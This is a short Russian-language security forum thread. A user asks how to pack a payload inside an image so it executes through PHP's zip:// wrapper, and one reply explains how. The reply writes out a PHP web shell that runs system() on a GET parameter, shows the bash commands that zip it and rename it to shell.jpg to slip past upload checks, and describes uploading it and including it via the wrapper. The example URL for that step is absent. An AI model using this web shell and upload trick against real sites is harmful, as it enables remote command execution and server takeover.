• Лучшая CTF площадка рунета Игры Кодебай

    Выполняй задания по кибербезопасности в формате CTF и получай бесценный опыт. Ознакомиться с подробным описанием можно тут.

Нужно создать zip для для запуска полезной нагрузки

wallhack

Member
20.08.2022
10
0
Всем привет! Нужно создать zip архив с папкой и файлом внутри спрятанный в картинке таким образом что бы он сработал при запуски через wrapper zip://
Возможно?
 

Exited3n

Green Team
10.05.2022
366
91
LFI с wrapper ZIP делается примерно так:

Wrapper zip://​

  1. Create an evil payload: echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
  2. Zip the file
Bash:
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
  1. Upload the archive and access the file using the wrappers:
 
  • Нравится
Реакции: GoBL1n
Мы в соцсетях:

Похожие темы